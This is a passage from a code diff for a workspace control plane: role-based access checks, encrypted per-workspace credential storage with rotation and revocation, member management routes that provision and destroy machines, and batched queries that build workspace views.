function accessFor( + principal: Principal, + workspace: WorkspaceAccessRow, + stored: WorkspaceMemberRole | null, +): WorkspaceAccess { + if (principal.orgId === null || workspace.org_id !== principal.orgId) { + return { stored: null, orgAdmin: false, owner: false }; + } + return { + stored, + orgAdmin: principal.role === "admin", + owner: workspace.owner_membership_id !== null + && workspace.owner_membership_id === principal.membershipId, + }; +} + +export async function storedRole( + db: Db, + workspaceId: string, + membershipId: string | null, +): Promise { + if (membershipId === null) return null; + const row = await first<{ role: WorkspaceMemberRole }>(db, { + q: `SELECT role FROM workspace_members + WHERE workspace_id = ?1 AND membership_id = ?2 LIMIT 1`, + v: [workspaceId, membershipId], + }); + return row?.role ?? null; +} + +export async function workspaceAccess( + db: Db, principal: Principal, workspace: WorkspaceAccessRow, -): boolean { - return principal.orgId !== null - && principal.membershipId !== null - && workspace.org_id === principal.orgId - && ( - principal.role === "admin" - || workspace.owner_membership_id === principal.membershipId - ); +): Promise { + return accessFor( + principal, + workspace, + await storedRole(db, workspace.id, principal.membershipId), + ); } -export function workspaceRole( +/** The gate every administrative workspace write shares. Org admins pass + * through implicit reach; everybody else needs the stored admin row. */ +export async function requireWorkspaceAdmin( + db: Db, principal: Principal, - workspace: WorkspaceAccessRow & { - grant_role?: "editor" | "viewer" | null; - org_share_role?: "editor" | "viewer" | null; - }, -): WorkspaceRole | null { - if (principal.orgId === null || workspace.org_id !== principal.orgId) return null; - if (workspace.owner_membership_id === principal.membershipId) return "owner"; - if (principal.role === "admin") return "admin"; - // A personal grant and org-wide sharing combine to the stronger role. - const grant = workspace.grant_role ?? null; - const orgWide = workspace.org_share_role ?? null; - if (grant === "editor" || orgWide === "editor") return "editor"; - return grant ?? orgWide; + workspace: WorkspaceAccessRow, +): Promise { + const access = await workspaceAccess(db, principal, workspace); + if (!isWorkspaceAdmin(access)) throw new HttpError(403, "workspace admin required"); + return access; +} + +/** The live workspace an administrative write names, gated by §3. + * + * Every workspace-admin route starts here: a workspace in another org, or one + * already tombstoned, is 404 rather than 403, so nothing leaks about what the + * organization holds. The `org_id` narrowing is what lets the caller look up + * the org roster without re-checking it. */ +export async function workspaceForAdminWrite( + db: Db, + principal: Principal, + id: string, +): Promise { + const workspace = await workspaceById(db, id); + if ( + workspace === null + || workspace.org_id === null + || workspace.org_id !== principal.orgId + || workspace.deleted_at !== null + ) { + throw new HttpError(404, "workspace not found"); + } + await requireWorkspaceAdmin(db, principal, workspace); + // SAFETY: org_id was null-checked immediately above; the intersection only narrows that one property. + return workspace as WorkspaceRow & { org_id: string }; } export interface WebAppWorkspaceAccess { @@ -49,11 +135,12 @@ export interface WebAppWorkspaceAccess { userId: string; membershipId: string; role: WorkspaceRole; + access: WorkspaceAccess; } -/** Resolves session, membership, workspace, and editor grant in one D1 read on - * every authenticated webApp request. The ordinary principal lookup is only a - * miss-path fallback needed to preserve the 401 response contract. */ +/** Resolves session, membership, workspace, and stored workspace role in one + * D1 read on every authenticated webApp request. The ordinary principal lookup + * is only a miss-path fallback needed to preserve the 401 response contract. */ export async function webAppWorkspaceForRequest( runtime: CoreRuntime, requirePrincipal: (context: CoreContext) => Promise, @@ -69,11 +156,12 @@ export async function webAppWorkspaceForRequest( session_membership_id: string; session_org_id: string; session_member_role: "admin" | "member"; + stored_role: WorkspaceMemberRole | null; }>(runtime.db, { q: `SELECT w.*, s.token_hash AS session_token_hash, s.principal_id AS session_principal_id, m.id AS session_membership_id, m.org_id AS session_org_id, - m.role AS session_member_role, grant.role AS grant_role, + m.role AS session_member_role, wm.role AS stored_role, owner_user.name AS owner_name, owner_user.avatar_url AS owner_avatar_url FROM sessions s @@ -82,8 +170,8 @@ export async function webAppWorkspaceForRequest( AND m.user_id = s.principal_id AND m.status = 'active' JOIN workspaces w ON w.id = ?3 - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = m.id + LEFT JOIN workspace_members wm + ON wm.workspace_id = w.id AND wm.membership_id = m.id LEFT JOIN memberships owner ON owner.id = w.owner_membership_id LEFT JOIN users owner_user ON owner_user.id = owner.user_id WHERE s.token_hash = ?1 AND s.expires_at > ?2 @@ -101,13 +189,15 @@ export async function webAppWorkspaceForRequest( platformOperator: false, }; if (row.org_id !== principal.orgId) throw new HttpError(404, "workspace not found"); - const role = workspaceRole(principal, row); + const access = accessFor(principal, row, row.stored_role); + const role = legacyRole(access); if (role === null) throw new HttpError(403, "forbidden"); return { workspace: row, userId: principal.id, membershipId: row.session_membership_id, role, + access, }; } } @@ -116,8 +206,15 @@ export async function webAppWorkspaceForRequest( if (row === null || row.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - const role = workspaceRole(principal, row); + const access = await workspaceAccess(runtime.db, principal, row); + const role = legacyRole(access); if (role === null) throw new HttpError(403, "forbidden"); if (principal.membershipId === null) throw new HttpError(403, "active membership required"); - return { workspace: row, userId: principal.id, membershipId: principal.membershipId, role }; + return { + workspace: row, + userId: principal.id, + membershipId: principal.membershipId, + role, + access, + }; } diff --git a/packages/control-plane/core/workspace-credentials.ts b/packages/control-plane/core/workspace-credentials.ts new file mode 100644 index 00000000..e0322ae4 --- /dev/null +++ b/packages/control-plane/core/workspace-credentials.ts @@ -0,0 +1,228 @@ +import { openRoot, sealRoot } from "./connections/root-crypto.js"; +import type { Db } from "./db.js"; +import { first, rows } from "./db.js"; +import { HttpError, isRecord, readJson, requiredString, type JsonValue } from "./http.js"; +import type { Principal } from "./principals.js"; +import type { CoreContext, CoreRouter, CoreRuntime, RuntimeFactory } from "./runtime.js"; +import { requireWorkspaceAdmin } from "./workspace-access.js"; +import { workspaceById, type WorkspaceRow } from "./workspace-records.js"; +import type { + PutWorkspaceCredentialRequest, + WorkspaceCredentialView, +} from "./wire.js"; + +/** The env var name an agent asks for. Same alphabet `blitz-cred env` prints + * assignments in, because the box evals those lines. */ +// A leading letter, not a leading underscore: the name also travels as the +// `connection` field of the credential pull wire, whose alphabet starts with +// an alphanumeric. One rule here keeps a name that can be stored from being a +// name that cannot be served. +const CREDENTIAL_NAME = /^[A-Za-z][A-Za-z0-9_]{0,127}$/u; + +/** A value is a single opaque secret, not a document. The ceiling is the old + * per-workspace environment budget, so nothing that fitted before is refused. */ +export const WORKSPACE_CREDENTIAL_MAX_BYTES = 8 * 1024; + +/** How many live credentials one workspace may hold. */ +export const WORKSPACE_CREDENTIAL_MAX_COUNT = 50; + +/** The AAD every workspace credential is sealed under. It binds a ciphertext + * to the row it belongs to, so a value cannot be moved to another workspace or + * renamed onto another variable and still open. */ +export function credentialAad(workspaceId: string, name: string): string { + return `wscred:${workspaceId}:${name}`; +} + +/** The envelope migration 0042 writes for values that were plaintext already. + * + * SQL cannot run AES-GCM, so `workspaces.environment` could not be sealed as + * it moved. Those values were plaintext in the database and world-readable on + * the box, so carrying them across under a named marker loses nothing — and + * every write through the routes below replaces the marker with a real sealed + * value. */ +const LEGACY_PLAINTEXT_PREFIX = "plaintext:v0:"; + +/** What a credential looks like to everything except the one reader of a + * value: a name, its label, when it was added, and the workspace it belongs + * to. A ciphertext is never selected to answer a names-only question. */ +export interface WorkspaceCredentialRow { + workspace_id: string; + name: string; + label: string | null; + created_at: number; +} + +export function workspaceCredentialView(row: WorkspaceCredentialRow): WorkspaceCredentialView { + return { name: row.name, label: row.label, createdAt: row.created_at }; +} + +export async function liveWorkspaceCredentials( + db: Db, + workspaceId: string, +): Promise { + return rows(db, { + q: `SELECT workspace_id, name, label, created_at + FROM workspace_credentials + WHERE workspace_id = ?1 AND revoked_at IS NULL + ORDER BY name`, + v: [workspaceId], + }); +} + +/** The value behind one live name, or null when the workspace has no such + * credential. The only caller is the credential pull wire. */ +export async function workspaceCredentialValue( + db: Db, + key: CryptoKey, + workspaceId: string, + name: string, +): Promise { + const row = await first<{ ciphertext: string }>(db, { + q: `SELECT ciphertext + FROM workspace_credentials + WHERE workspace_id = ?1 AND name = ?2 AND revoked_at IS NULL LIMIT 1`, + v: [workspaceId, name], + }); + if (row === null) return null; + if (row.ciphertext.startsWith(LEGACY_PLAINTEXT_PREFIX)) { + return row.ciphertext.slice(LEGACY_PLAINTEXT_PREFIX.length); + } + try { + return await openRoot(key, credentialAad(workspaceId, name), row.ciphertext); + } catch { + // A ciphertext that will not open is a credential nobody can use. Refusing + // loudly is the honest answer: silently serving nothing would read to an + // agent as "this workspace never had that key". + throw new HttpError(409, `workspace credential ${name} cannot be opened`); + } +} + +export function parseWorkspaceCredential(value: JsonValue): PutWorkspaceCredentialRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + const name = requiredString(value.name, "name", 128); + if (!CREDENTIAL_NAME.test(name)) { + throw new HttpError(400, "name must be an environment variable name"); + } + const secret = requiredString(value.value, "value", WORKSPACE_CREDENTIAL_MAX_BYTES); + if (new TextEncoder().encode(secret).byteLength > WORKSPACE_CREDENTIAL_MAX_BYTES) { + throw new HttpError( + 400, + `value must be at most ${String(WORKSPACE_CREDENTIAL_MAX_BYTES)} UTF-8 bytes`, + ); + } + const result: PutWorkspaceCredentialRequest = { name, value: secret }; + if (value.label !== undefined && value.label !== null) { + result.label = requiredString(value.label, "label", 128); + } + return result; +} + +/** Writes one credential, replacing whatever live row held that name. + * + * Add and rotate are the same act: the partial unique index allows one live + * row per name, so a second write revokes the first in the same statement + * sequence. The revoked row stays — it is the audit trail of a rotation. */ +export async function putWorkspaceCredential( + runtime: CoreRuntime, + workspaceId: string, + membershipId: string, + input: PutWorkspaceCredentialRequest, + now = Date.now(), +): Promise { + const ciphertext = await sealRoot( + runtime.credentialMasterKey, + credentialAad(workspaceId, input.name), + input.value, + ); + const live = await liveWorkspaceCredentials(runtime.db, workspaceId); + if ( + live.length >= WORKSPACE_CREDENTIAL_MAX_COUNT + && !live.some((row) => row.name === input.name) + ) { + throw new HttpError( + 409, + `a workspace may hold at most ${String(WORKSPACE_CREDENTIAL_MAX_COUNT)} credentials`, + ); + } + await rows(runtime.db, { + q: `UPDATE workspace_credentials SET revoked_at = ?1, updated_at = ?1 + WHERE workspace_id = ?2 AND name = ?3 AND revoked_at IS NULL`, + v: [now, workspaceId, input.name], + }); + await rows(runtime.db, { + q: `INSERT INTO workspace_credentials + (id, workspace_id, name, label, ciphertext, + created_by_membership_id, created_at, updated_at) + VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?7)`, + v: [ + crypto.randomUUID(), + workspaceId, + input.name, + input.label ?? null, + ciphertext, + membershipId, + now, + ], + }); + return { name: input.name, label: input.label ?? null, createdAt: now }; +} + +async function workspaceForCredentials( + runtime: CoreRuntime, + principal: Principal, + id: string, +): Promise { + const workspace = await workspaceById(runtime.db, id); + if ( + workspace === null + || workspace.org_id === null + || workspace.org_id !== principal.orgId + || workspace.deleted_at !== null + ) { + throw new HttpError(404, "workspace not found"); + } + return workspace; +} + +export function addWorkspaceCredentialRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + requirePrincipal: (context: CoreContext) => Promise, +): void { + router.put("/workspaces/:id/credentials", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForCredentials(runtime, principal, context.req.param("id")); + await requireWorkspaceAdmin(runtime.db, principal, workspace); + if (principal.membershipId === null) { + throw new HttpError(403, "active membership required"); + } + const input = parseWorkspaceCredential( + await readJson(context.req.raw, WORKSPACE_CREDENTIAL_MAX_BYTES * 2), + ); + const view = await putWorkspaceCredential( + runtime, + workspace.id, + principal.membershipId, + input, + ); + return context.json({ credential: view }, 201); + }); + + /** A revoke refuses the next `blitz-cred` call. Nothing is deleted: the row + * is the record that this workspace once held that name. */ + router.delete("/workspaces/:id/credentials/:name", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForCredentials(runtime, principal, context.req.param("id")); + await requireWorkspaceAdmin(runtime.db, principal, workspace); + const revoked = await rows<{ id: string }>(runtime.db, { + q: `UPDATE workspace_credentials SET revoked_at = ?1, updated_at = ?1 + WHERE workspace_id = ?2 AND name = ?3 AND revoked_at IS NULL + RETURNING id`, + v: [Date.now(), workspace.id, context.req.param("name")], + }); + if (revoked.length === 0) throw new HttpError(404, "workspace credential not found"); + return context.body(null, 204); + }); +} diff --git a/packages/control-plane/core/workspace-members.ts b/packages/control-plane/core/workspace-members.ts new file mode 100644 index 00000000..05e018f6 --- /dev/null +++ b/packages/control-plane/core/workspace-members.ts @@ -0,0 +1,309 @@ +import { first, rows } from "./db.js"; +import { HttpError, isRecord, readJson, requiredString, type JsonValue } from "./http.js"; +import { + destroyMachine, + machineFor, + provisionMachine, + type ProvisionMachineInput, +} from "./machines.js"; +import type { Principal } from "./principals.js"; +import type { CoreContext, CoreRouter, CoreRuntime, RuntimeFactory } from "./runtime.js"; +import { storedRole, workspaceForAdminWrite } from "./workspace-access.js"; +import { + machineView, + type MachineRow, + type WorkspaceRow, +} from "./workspace-records.js"; +import { + WORKSPACE_MEMBER_ROLES, + type AddWorkspaceMemberRequest, + type ProvisionMemberMachineRequest, + type UpdateWorkspaceMemberRequest, + type WorkspaceMemberResponse, + type WorkspaceMemberRole, + type WorkspaceMemberView, +} from "./wire.js"; + +function isWorkspaceMemberRole(value: JsonValue | undefined): value is WorkspaceMemberRole { + return WORKSPACE_MEMBER_ROLES.some((role) => role === value); +} + +export function parseAddWorkspaceMember(value: JsonValue): AddWorkspaceMemberRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + const membershipId = requiredString(value.membershipId, "membershipId", 256); + if (!isWorkspaceMemberRole(value.role)) { + throw new HttpError(400, "role must be admin, member, or viewer"); + } + const result: AddWorkspaceMemberRequest = { membershipId, role: value.role }; + if (value.machineTypeId !== undefined && value.machineTypeId !== null) { + result.machineTypeId = requiredString(value.machineTypeId, "machineTypeId", 256); + } + return result; +} + +function parseProvisionMemberMachine(value: JsonValue): ProvisionMemberMachineRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + const result: ProvisionMemberMachineRequest = {}; + if (value.machineTypeId !== undefined && value.machineTypeId !== null) { + result.machineTypeId = requiredString(value.machineTypeId, "machineTypeId", 256); + } + return result; +} + +function parseUpdateWorkspaceMember(value: JsonValue): UpdateWorkspaceMemberRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + if (!isWorkspaceMemberRole(value.role)) { + throw new HttpError(400, "role must be admin, member, or viewer"); + } + return { role: value.role }; +} + +/** The provision input for a member who should have a machine. An existing + * row is reused so a re-add lands on the member's old disk; both optional + * fields are set in statements, because "no previous machine" and "a previous + * machine with no volume" are different facts. */ +function memberProvisionInput( + workspace: WorkspaceRow, + membershipId: string, + machineTypeId: string, + requestOrigin: string, + existing: MachineRow | null, +): ProvisionMachineInput { + const input: ProvisionMachineInput = { + workspace, + membershipId, + machineTypeId, + requestOrigin, + }; + if (existing !== null) input.machineId = existing.id; + if (existing?.volume_id != null) input.volumeId = existing.volume_id; + return input; +} + +export interface MemberIdentity { + id: string; + name: string; + avatar_url: string | null; +} + +/** An active member of this workspace's organization, or null. + * + * The roster is the org's, and this plan does not touch how it grows: a + * workspace admin may only add somebody who is already an active org member + * (§2.7). */ +export async function activeOrgMember( + runtime: CoreRuntime, + orgId: string, + membershipId: string, +): Promise { + return first(runtime.db, { + q: `SELECT m.id, u.name, u.avatar_url + FROM memberships m JOIN users u ON u.id = m.user_id + WHERE m.id = ?1 AND m.org_id = ?2 AND m.status = 'active' LIMIT 1`, + v: [membershipId, orgId], + }); +} + +/** + * Adds one member and, when the workspace provisions automatically, their + * machine. + * + * A viewer never gets a machine: viewers watch sessions, they do not run them + * (§2.2). Everybody else gets one the moment they are added, unless the + * workspace has `auto_provision` off — then the row exists and the machine + * arrives on first open or by workspace-admin action. + */ +export async function addWorkspaceMember( + runtime: CoreRuntime, + workspace: WorkspaceRow, + addedBy: string | null, + input: AddWorkspaceMemberRequest, + requestOrigin: string, + member: MemberIdentity, +): Promise { + const now = Date.now(); + await rows(runtime.db, { + q: `INSERT INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) + VALUES (?1, ?2, ?3, ?4, ?5) + ON CONFLICT(workspace_id, membership_id) DO UPDATE SET role = excluded.role`, + v: [workspace.id, input.membershipId, input.role, addedBy, now], + }); + const existing = await machineFor(runtime.db, workspace.id, input.membershipId); + const wants = input.role !== "viewer" && workspace.auto_provision === 1; + const machine = wants && (existing === null || existing.state === "destroyed") + ? await provisionMachine(runtime, memberProvisionInput( + workspace, + input.membershipId, + input.machineTypeId ?? workspace.default_machine_type_id, + requestOrigin, + existing, + )) + : existing; + return { + membershipId: input.membershipId, + name: member.name, + avatarUrl: member.avatar_url, + role: input.role, + machine: machine === null || machine.state === "destroyed" ? null : machineView(machine), + }; +} + +export function addWorkspaceMemberRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + requirePrincipal: (context: CoreContext) => Promise, +): void { + router.post("/workspaces/:id/members", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite(runtime.db, principal, context.req.param("id")); + const input = parseAddWorkspaceMember(await readJson(context.req.raw, 4 * 1024)); + const member = await activeOrgMember(runtime, workspace.org_id, input.membershipId); + if (member === null) { + throw new HttpError(400, "a workspace member must be an active organization member"); + } + const view = await addWorkspaceMember( + runtime, + workspace, + principal.membershipId, + input, + new URL(context.req.url).origin, + member, + ); + return context.json({ member: view }, 201); + }); + + /** + * Changes a stored role. + * + * Demoting somebody to viewer destroys their machine, because a viewer never + * holds one (§2.2). Promoting a viewer provisions one where the workspace + * provisions automatically. The role write and the machine act are one + * request so the two can never disagree. + */ + router.patch("/workspaces/:id/members/:membershipId", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite(runtime.db, principal, context.req.param("id")); + const membershipId = context.req.param("membershipId"); + const input = parseUpdateWorkspaceMember(await readJson(context.req.raw, 4 * 1024)); + const member = await activeOrgMember(runtime, workspace.org_id, membershipId); + if (member === null) throw new HttpError(404, "workspace member not found"); + const updated = await rows<{ membership_id: string }>(runtime.db, { + q: `UPDATE workspace_members SET role = ?1 + WHERE workspace_id = ?2 AND membership_id = ?3 + RETURNING membership_id`, + v: [input.role, workspace.id, membershipId], + }); + if (updated.length !== 1) throw new HttpError(404, "workspace member not found"); + const existing = await machineFor(runtime.db, workspace.id, membershipId); + let machine = existing; + if (input.role === "viewer" && existing !== null && existing.state !== "destroyed") { + machine = await destroyMachine(runtime, existing); + } else if ( + input.role !== "viewer" + && workspace.auto_provision === 1 + && (existing === null || existing.state === "destroyed") + ) { + machine = await provisionMachine(runtime, memberProvisionInput( + workspace, + membershipId, + existing?.machine_type_id ?? workspace.default_machine_type_id, + new URL(context.req.url).origin, + existing, + )); + } + return context.json({ + member: { + membershipId, + name: member.name, + avatarUrl: member.avatar_url, + role: input.role, + machine: machine === null || machine.state === "destroyed" ? null : machineView(machine), + }, + }); + }); + + /** + * Provisions the machine a member row does not hold yet (§2.1). + * + * Two ways to get here: the workspace has `auto_provision` off, so adding + * somebody wrote the row and nothing else; or their machine was destroyed + * and the row survives with its volume. Both land on the same act, and the + * old row is reused where there is one, so the member comes back on their + * own disk rather than an empty one. + * + * A viewer is refused rather than quietly given one: a viewer never holds a + * machine (§2.2), and the way to give them one is the role write. A member + * who already has a live machine is refused too — this route creates, and + * `start` and `recreate` are the verbs for one that exists. + * + * The body is `{}` where the machine takes the workspace default. + */ + router.post("/workspaces/:id/members/:membershipId/machine", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite(runtime.db, principal, context.req.param("id")); + const membershipId = context.req.param("membershipId"); + const input = parseProvisionMemberMachine(await readJson(context.req.raw, 4 * 1024)); + const member = await activeOrgMember(runtime, workspace.org_id, membershipId); + const role = await storedRole(runtime.db, workspace.id, membershipId); + if (member === null || role === null) throw new HttpError(404, "workspace member not found"); + if (role === "viewer") { + throw new HttpError(409, "a viewer never holds a machine; change their role first"); + } + const existing = await machineFor(runtime.db, workspace.id, membershipId); + if (existing !== null && existing.state !== "destroyed") { + throw new HttpError(409, `this member already has a machine; it is ${existing.state}`); + } + const machine = await provisionMachine(runtime, memberProvisionInput( + workspace, + membershipId, + input.machineTypeId ?? existing?.machine_type_id ?? workspace.default_machine_type_id, + new URL(context.req.url).origin, + existing, + )); + return context.json({ + member: { + membershipId, + name: member.name, + avatarUrl: member.avatar_url, + role, + machine: machineView(machine), + }, + }, 201); + }); + + /** + * Removes a member and destroys their machine. + * + * The volume is kept and its seven-day retention clock starts, which is the + * grace snapshot §2.3 asks for: the disk outlives the removal long enough + * for an admin to restore it, then the existing sweep reclaims it. + * + * The owner cannot be removed. The workspace row names them, so removing + * their row would leave a workspace whose creator is not in it. + */ + router.delete("/workspaces/:id/members/:membershipId", async (context) => { + const principal = await requirePrincipal(context); + const runtime = runtimeFactory(context); + const workspace = await workspaceForAdminWrite(runtime.db, principal, context.req.param("id")); + const membershipId = context.req.param("membershipId"); + if (membershipId === workspace.owner_membership_id) { + throw new HttpError(409, "the workspace owner cannot be removed"); + } + const removed = await rows<{ membership_id: string }>(runtime.db, { + q: `DELETE FROM workspace_members + WHERE workspace_id = ?1 AND membership_id = ?2 + RETURNING membership_id`, + v: [workspace.id, membershipId], + }); + if (removed.length === 0) throw new HttpError(404, "workspace member not found"); + const machine = await machineFor(runtime.db, workspace.id, membershipId); + if (machine !== null && machine.state !== "destroyed") { + await destroyMachine(runtime, machine); + } + return context.body(null, 204); + }); +} diff --git a/packages/control-plane/core/workspace-projection.ts b/packages/control-plane/core/workspace-projection.ts new file mode 100644 index 00000000..7a94f6e4 --- /dev/null +++ b/packages/control-plane/core/workspace-projection.ts @@ -0,0 +1,88 @@ +import type { Db } from "./db.js"; +import { rows } from "./db.js"; +import type { Principal } from "./principals.js"; +import { accessFor, legacyRole } from "./workspace-access.js"; +import { + machinesForWorkspaces, + workspaceMembers, + workspaceView, + type MachineRow, + type WorkspaceMemberRow, + type WorkspaceRow, +} from "./workspace-records.js"; +import { workspaceCredentialView, type WorkspaceCredentialRow } from "./workspace-credentials.js"; +import type { WorkspaceMemberRole, WorkspaceView } from "./wire.js"; + +function groupBy(items: readonly T[], key: (item: T) => string): Map { + const grouped = new Map(); + for (const item of items) { + const bucket = grouped.get(key(item)); + if (bucket === undefined) grouped.set(key(item), [item]); + else bucket.push(item); + } + return grouped; +} + +/** + * Builds the wire view for a set of workspaces in four reads, whatever the + * count. + * + * `GET /workspaces` returns every workspace in the organization, and each one + * now carries its members, their machines, and its credential names. Fetching + * those per workspace would turn one list into 3N reads on a D1 binding whose + * cost is per statement, so every child set is loaded once and grouped here. + */ +export async function projectWorkspaces( + db: Db, + principal: Principal, + workspaces: readonly WorkspaceRow[], +): Promise { + if (workspaces.length === 0) return []; + const ids = workspaces.map(({ id }) => id); + const placeholders = ids.map((_id, index) => `?${String(index + 1)}`).join(", "); + const [members, machines, credentials] = await Promise.all([ + workspaceMembers(db, ids), + machinesForWorkspaces(db, ids), + rows(db, { + q: `SELECT workspace_id, name, label, created_at + FROM workspace_credentials + WHERE workspace_id IN (${placeholders}) AND revoked_at IS NULL + ORDER BY name`, + v: [...ids], + }), + ]); + const membersByWorkspace = groupBy(members, ({ workspace_id }) => workspace_id); + const machinesByWorkspace = groupBy(machines, ({ workspace_id }) => workspace_id); + const credentialsByWorkspace = groupBy( + credentials, + ({ workspace_id }) => workspace_id, + ); + const views: WorkspaceView[] = []; + for (const workspace of workspaces) { + const workspaceMemberRows = membersByWorkspace.get(workspace.id) ?? []; + const stored: WorkspaceMemberRole | null = workspaceMemberRows.find( + (member) => member.membership_id === principal.membershipId, + )?.role ?? null; + const access = accessFor(principal, workspace, stored); + views.push(workspaceView({ + workspace, + members: workspaceMemberRows, + machines: machinesByWorkspace.get(workspace.id) ?? [], + credentials: (credentialsByWorkspace.get(workspace.id) ?? []).map(workspaceCredentialView), + membershipId: principal.membershipId, + myRole: stored, + role: legacyRole(access), + })); + } + return views; +} + +export async function projectWorkspace( + db: Db, + principal: Principal, + workspace: WorkspaceRow, +): Promise { + const [view] = await projectWorkspaces(db, principal, [workspace]); + if (view === undefined) throw new Error("workspace projection produced no view"); + return view; +} diff --git a/packages/control-plane/core/workspace-records.ts b/packages/control-plane/core/workspace-records.ts index e3c5bb43..8108f391 100644 --- a/packages/control-plane/core/workspace-records.ts +++ b/packages/control-plane/core/workspace-records.ts @@ -1,51 +1,100 @@ import type { Db } from "./db.js"; -import { first } from "./db.js"; +import { first, rows } from "./db.js"; import { isMicrovmProviderId } from "./compute/microvm.js"; import { manifestConnectionNames } from "./connections/manifest.js"; -import { workspaceEnvironmentFromJson } from "./environment.js"; -import type { Phase, RetryAction, WorkspaceView } from "./wire.js"; +import type { + MachineState, + MachineView, + Phase, + RetryAction, + WorkspaceCredentialView, + WorkspaceMemberRole, + WorkspaceMemberView, + WorkspaceView, +} from "./wire.js"; import type { ComputeCredentialSource } from "./compute/types.js"; +/** The workspace row after MEMBER-MACHINES: configuration only. Every VM + * column moved to `machines`, the sharing ACL moved to `workspace_members`, + * and the plaintext environment moved to `workspace_credentials`. */ export interface WorkspaceRow { id: string; name: string | null; - machine_type_id: string; owner_id: string; - phase: Phase; revision: number; + default_machine_type_id: string; + auto_provision: number; + deleted_at: number | null; + created_at: number; + updated_at: number; + manifest: string | null; + files_ready: number; + agent_rule_id: string | null; + recipe_id: string | null; + org_id: string | null; + owner_membership_id: string | null; + owner_name?: string | null; + owner_avatar_url?: string | null; +} + +/** One machine row. `boxes` used to hold a second row for the same guest; + * this is the only one now, and its id is the id the guest presents. */ +export interface MachineRow { + id: string; + workspace_id: string; + membership_id: string; + state: MachineState; + machine_type_id: string; + compute_credential_source: ComputeCredentialSource; vm_id: string | null; - compute_credential_source: ComputeCredentialSource | null; volume_id: string | null; ssh_host: string | null; ssh_port: number | null; ssh_user: string | null; ssh_host_public_key: string | null; - error: string | null; phone_home_hash: string | null; phone_home_used: number; - created_at: number; - updated_at: number; - manifest: string | null; - environment: string | null; - files_ready: number; - agent_rule_id: string | null; - recipe_id: string | null; tunnel_id: string | null; tunnel_hostname: string | null; dns_record_id: string | null; - /** Host-driven box update flag and the last image ref the VM host reported - * (migrations/0030): see core/box-config.ts. Neither reaches WorkspaceView - * yet — the reported ref is operator observability, read with SQL. */ + broker_box_id: string | null; box_update_requested: number; box_image_reported: string | null; - org_id: string | null; - owner_membership_id: string | null; - org_share_role?: "editor" | "viewer" | null; - owner_name?: string | null; - owner_avatar_url?: string | null; - grant_role?: "editor" | "viewer" | null; + error: string | null; + created_at: number; + updated_at: number; } +export interface WorkspaceMemberRow { + workspace_id: string; + membership_id: string; + role: WorkspaceMemberRole; + added_at: number; + member_name?: string | null; + member_avatar_url?: string | null; +} + +/** States that hold a VM slot, so `vm_limit` and `vmsUsed` count the same + * rows. `destroyed` is the only state that has released its slot. Written + * once and read by the create-path predicate and the usage report both. */ +export const MACHINE_SLOT_STATES = + "'provisioning', 'running', 'stopped', 'error', 'destroying'"; + +/** The legacy `WorkspaceView.phase`, projected from one machine's state. + * + * The workspace itself has no phase — it is always present. A poller that + * created a workspace still has to learn when its machine is usable, and this + * is the field it already watches, so the projection keeps that loop working + * instead of asking every client to change on the same day the server does. */ +const phaseForState = { + provisioning: "creating", + running: "ready", + stopped: "ready", + error: "error", + destroying: "destroying", + destroyed: "destroyed", +} satisfies Record; + const retryActions = { creating: "poll", ready: null, @@ -54,7 +103,7 @@ const retryActions = { error: "destroy", } satisfies Record; -function machineTypeIdForRow(row: WorkspaceRow): string { +function machineTypeIdForRow(row: MachineRow): string { return row.machine_type_id === "unknown" && row.vm_id !== null && isMicrovmProviderId(row.vm_id) @@ -62,63 +111,144 @@ function machineTypeIdForRow(row: WorkspaceRow): string { : row.machine_type_id; } -export function workspaceView( - row: WorkspaceRow, - role: WorkspaceView["role"] = "owner", - reportError?: (code: string, error: Error) => void, -): WorkspaceView { - const hasSsh = row.ssh_host !== null && row.ssh_port !== null && row.ssh_user !== null; +export function machineView(row: MachineRow): MachineView { + return { + id: row.id, + state: row.state, + machineTypeId: machineTypeIdForRow(row), + volumeId: row.volume_id, + membershipId: row.membership_id, + error: row.error, + createdAt: row.created_at, + updatedAt: row.updated_at, + }; +} + +export interface WorkspaceProjection { + workspace: WorkspaceRow; + members: WorkspaceMemberRow[]; + machines: MachineRow[]; + credentials: WorkspaceCredentialView[]; + /** The membership asking. Null for an unauthenticated or membership-less + * caller; the legacy fields then fall back to the workspace default. */ + membershipId: string | null; + /** The caller's stored workspace role, or null for implicit org-admin reach. */ + myRole: WorkspaceMemberRole | null; + /** The legacy four-value access role the webApp and the ticket both use. */ + role: WorkspaceView["role"]; +} + +export function workspaceView(projection: WorkspaceProjection): WorkspaceView { + const { workspace: row, membershipId, role } = projection; + const byMembership = new Map(projection.machines.map((machine) => [machine.membership_id, machine])); + const mine = membershipId === null ? undefined : byMembership.get(membershipId); const canOpen = role !== null; + // A deleted workspace reads as destroyed whatever its machines say: the + // tombstone is the workspace's own answer, and it outlives them. + const phase: Phase = row.deleted_at !== null + ? "destroyed" + : mine === undefined ? "ready" : phaseForState[mine.state]; + const hasSsh = mine?.ssh_host != null && mine.ssh_port !== null && mine.ssh_user !== null; + const members: WorkspaceMemberView[] = projection.members.map((member) => { + const machine = byMembership.get(member.membership_id); + return { + membershipId: member.membership_id, + name: member.member_name ?? member.membership_id, + avatarUrl: member.member_avatar_url ?? null, + role: member.role, + machine: machine === undefined || machine.state === "destroyed" + ? null + : machineView(machine), + }; + }); const view: WorkspaceView = { id: row.id, name: row.name ?? row.id, - machineTypeId: machineTypeIdForRow(row), - phase: 